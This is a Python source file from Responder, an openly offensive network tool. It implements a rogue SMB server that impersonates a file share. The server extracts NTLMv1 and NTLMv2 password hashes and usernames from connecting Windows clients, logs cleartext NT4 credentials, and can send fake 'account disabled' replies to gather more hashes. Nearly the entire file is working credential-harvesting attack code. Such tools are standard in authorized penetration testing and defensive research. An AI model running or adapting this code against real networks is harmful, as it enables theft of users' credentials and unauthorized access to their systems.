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SMB.py
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#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: [email protected]
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from random import randrange
from packets import SMBHeader, SMBNegoAnsLM, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData, SMB2Header, SMB2NegoAns, SMB2Session1Data, SMB2Session2Data
from SocketServer import BaseRequestHandler
from utils import *
import struct
import re
def Is_Anonymous(data): # Detect if SMB auth was Anonymous
SecBlobLen = struct.unpack('<H',data[51:53])[0]
if SecBlobLen < 260:
LMhashLen = struct.unpack('<H',data[89:91])[0]
return LMhashLen in [0, 1]
elif SecBlobLen > 260:
LMhashLen = struct.unpack('<H',data[93:95])[0]
return LMhashLen in [0, 1]
def Is_LMNT_Anonymous(data):
LMhashLen = struct.unpack('<H',data[51:53])[0]
return LMhashLen in [0, 1]
#Function used to know which dialect number to return for NT LM 0.12
def Parse_Nego_Dialect(data):
Dialect = tuple([e.replace('\x00','') for e in data[40:].split('\x02')[:10]])
for i in range(0, 16):
if Dialect[i] == 'NT LM 0.12':
return chr(i) + '\x00'
def midcalc(data): #Set MID SMB Header field.
return data[34:36]
def uidcalc(data): #Set UID SMB Header field.
return data[32:34]
def pidcalc(data): #Set PID SMB Header field.
pack=data[30:32]
return pack
def tidcalc(data): #Set TID SMB Header field.
pack=data[28:30]
return pack
def ParseShare(data):
packet = data[:]
a = re.search('(\\x5c\\x00\\x5c.*.\\x00\\x00\\x00)', packet)
if a:
print text("[SMB] Requested Share : %s" % a.group(0).decode('UTF-16LE'))
def GrabMessageID(data):
Messageid = data[28:36]
return Messageid
def GrabCreditRequested(data):
CreditsRequested = data[18:20]
if CreditsRequested == "\x00\x00":
CreditsRequested = "\x01\x00"
else:
CreditsRequested = data[18:20]
return CreditsRequested
def GrabCreditCharged(data):
CreditCharged = data[10:12]
return CreditCharged
def GrabSessionID(data):
SessionID = data[44:52]
return SessionID
def ParseSMBHash(data,client, Challenge): #Parse SMB NTLMSSP v1/v2
SSPIStart = data.find('NTLMSSP')
SSPIString = data[SSPIStart:]
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
if NthashLen == 24:
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, Challenge.encode('hex'))
SaveToDb({
'module': 'SMB',
'type': 'NTLMv1-SSP',
'client': client,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash,
})
if NthashLen > 60:
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), SMBHash[:32], SMBHash[32:])
SaveToDb({
'module': 'SMB',
'type': 'NTLMv2-SSP',
'client': client,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash,
})
def ParseSMB2NTLMv2Hash(data,client, Challenge): #Parse SMB NTLMv2
SSPIStart = data[113:]
data = data[113:]
LMhashLen = struct.unpack('<H',data[12:14])[0]
LMhashOffset = struct.unpack('<H',data[16:18])[0]
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[22:24])[0]
NthashOffset = struct.unpack('<H',data[24:26])[0]
SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',data[30:32])[0]
DomainOffset = struct.unpack('<H',data[32:34])[0]
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',data[38:40])[0]
UserOffset = struct.unpack('<H',data[40:42])[0]
Username = SSPIStart[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), SMBHash[:32], SMBHash[32:])
SaveToDb({
'module': 'SMBv2',
'type': 'NTLMv2-SSP',
'client': client,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash,
})
def ParseLMNTHash(data, client, Challenge): # Parse SMB NTLMv1/v2
LMhashLen = struct.unpack('<H',data[51:53])[0]
NthashLen = struct.unpack('<H',data[53:55])[0]
Bcc = struct.unpack('<H',data[63:65])[0]
Username, Domain = tuple([e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]])
if NthashLen > 25:
FullHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex')
LmHash = FullHash[:32].upper()
NtHash = FullHash[32:].upper()
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), LmHash, NtHash)
SaveToDb({
'module': 'SMB',
'type': 'NTLMv2',
'client': client,
'user': Domain+'\\'+Username,
'hash': NtHash,
'fullhash': WriteHash,
})
if NthashLen == 24:
NtHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()
LmHash = data[65:65+LMhashLen].encode('hex').upper()
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, Challenge.encode('hex'))
SaveToDb({
'module': 'SMB',
'type': 'NTLMv1',
'client': client,
'user': Domain+'\\'+Username,
'hash': NtHash,
'fullhash': WriteHash,
})
def IsNT4ClearTxt(data, client):
HeadLen = 36
if data[14:16] == "\x03\x80":
SmbData = data[HeadLen+14:]
WordCount = data[HeadLen]
ChainedCmdOffset = data[HeadLen+1]
if ChainedCmdOffset == "\x75":
PassLen = struct.unpack('<H',data[HeadLen+15:HeadLen+17])[0]
if PassLen > 2:
Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","")
User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","")
print text("[SMB] Clear Text Credentials: %s:%s" % (User,Password))
WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password)
class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
def handle(self):
try:
self.ntry = 0
while True:
data = self.request.recv(1024)
self.request.settimeout(1)
Challenge = RandomChallenge()
if not data:
break
if data[0] == "\x81": #session request 139
Buffer = "\x82\x00\x00\x00"
try:
self.request.send(Buffer)
data = self.request.recv(1024)
except:
pass
##Negotiate proto answer SMBv2.
if data[8:10] == "\x72\x00" and re.search("SMB 2.\?\?\?", data):
head = SMB2Header(CreditCharge="\x00\x00",Credits="\x01\x00")
t = SMB2NegoAns()
t.calculate()
packet1 = str(head)+str(t)
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1
self.request.send(buffer1)
data = self.request.recv(1024)
## Session Setup 1 answer SMBv2.
if data[16:18] == "\x00\x00" and data[4:5] == "\xfe":
head = SMB2Header(MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data))
t = SMB2NegoAns(Dialect="\x10\x02")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1
self.request.send(buffer1)
data = self.request.recv(1024)
## Session Setup 2 answer SMBv2.
if data[16:18] == "\x01\x00" and data[4:5] == "\xfe":
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), SessionID=GrabSessionID(data),NTStatus="\x16\x00\x00\xc0")
t = SMB2Session1Data(NTLMSSPNtServerChallenge=Challenge)
t.calculate()
packet1 = str(head)+str(t)
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1
self.request.send(buffer1)
data = self.request.recv(1024)
## Session Setup 3 answer SMBv2.
if data[16:18] == "\x01\x00" and GrabMessageID(data)[0:1] == "\x02" and data[4:5] == "\xfe":
ParseSMB2NTLMv2Hash(data, self.client_address[0], Challenge)
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data))
t = SMB2Session2Data()
packet1 = str(head)+str(t)
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1
self.request.send(buffer1)
data = self.request.recv(1024)
# Negotiate Protocol Response smbv1
if data[8:10] == "\x72\x00" and data[4:5] == "\xff" and re.search("SMB 2.\?\?\?", data) == None:
Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data))
Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data))
Body.calculate()
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
data = self.request.recv(1024)
if data[8:10] == "\x73\x00" and data[4:5] == "\xff": # Session Setup AndX Request smbv1
IsNT4ClearTxt(data, self.client_address[0])
# STATUS_MORE_PROCESSING_REQUIRED
Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data))
if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
Body = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge, NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH")
else:
Body = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge)
Body.calculate()
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
data = self.request.recv(1024)
if data[8:10] == "\x73\x00" and data[4:5] == "\xff": # STATUS_SUCCESS
if Is_Anonymous(data):
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
Body = SMBSessEmpty()
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
else:
# Parse NTLMSSP_AUTH packet
ParseSMBHash(data,self.client_address[0], Challenge)
if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
# Send ACCOUNT_DISABLED to get multiple hashes if there are any
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
Body = SMBSessEmpty()
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
self.ntry += 1
continue
# Send STATUS_SUCCESS
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = SMBSession2Accept()
Body.calculate()
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
data = self.request.recv(1024)
if data[8:10] == "\x75\x00" and data[4:5] == "\xff": # Tree Connect AndX Request
ParseShare(data)
Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data))
Body = SMBTreeData()
Body.calculate()
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
data = self.request.recv(1024)
if data[8:10] == "\x71\x00" and data[4:5] == "\xff": #Tree Disconnect
Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = "\x00\x00\x00"
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
data = self.request.recv(1024)
if data[8:10] == "\xa2\x00" and data[4:5] == "\xff": #NT_CREATE Access Denied.
Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = "\x00\x00\x00"
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
data = self.request.recv(1024)
if data[8:10] == "\x25\x00" and data[4:5] == "\xff": # Trans2 Access Denied.
Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = "\x00\x00\x00"
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
data = self.request.recv(1024)
if data[8:10] == "\x74\x00" and data[4:5] == "\xff": # LogOff
Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = "\x02\xff\x00\x27\x00\x00\x00"
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
data = self.request.recv(1024)
except:
pass
class SMB1LM(BaseRequestHandler): # SMB Server class, old version
def handle(self):
try:
self.request.settimeout(0.5)
data = self.request.recv(1024)
Challenge = RandomChallenge()
if data[0] == "\x81": #session request 139
Buffer = "\x82\x00\x00\x00"
self.request.send(Buffer)
data = self.request.recv(1024)
if data[8:10] == "\x72\x00": #Negotiate proto answer.
head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data))
Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=Challenge)
Body.calculate()
Packet = str(head)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
data = self.request.recv(1024)
if data[8:10] == "\x73\x00": #Session Setup AndX Request
if Is_LMNT_Anonymous(data):
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Packet = str(head)+str(SMBSessEmpty())
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
else:
ParseLMNTHash(data,self.client_address[0], Challenge)
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Packet = str(head) + str(SMBSessEmpty())
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
self.request.send(Buffer)
data = self.request.recv(1024)
except Exception:
self.request.close()
pass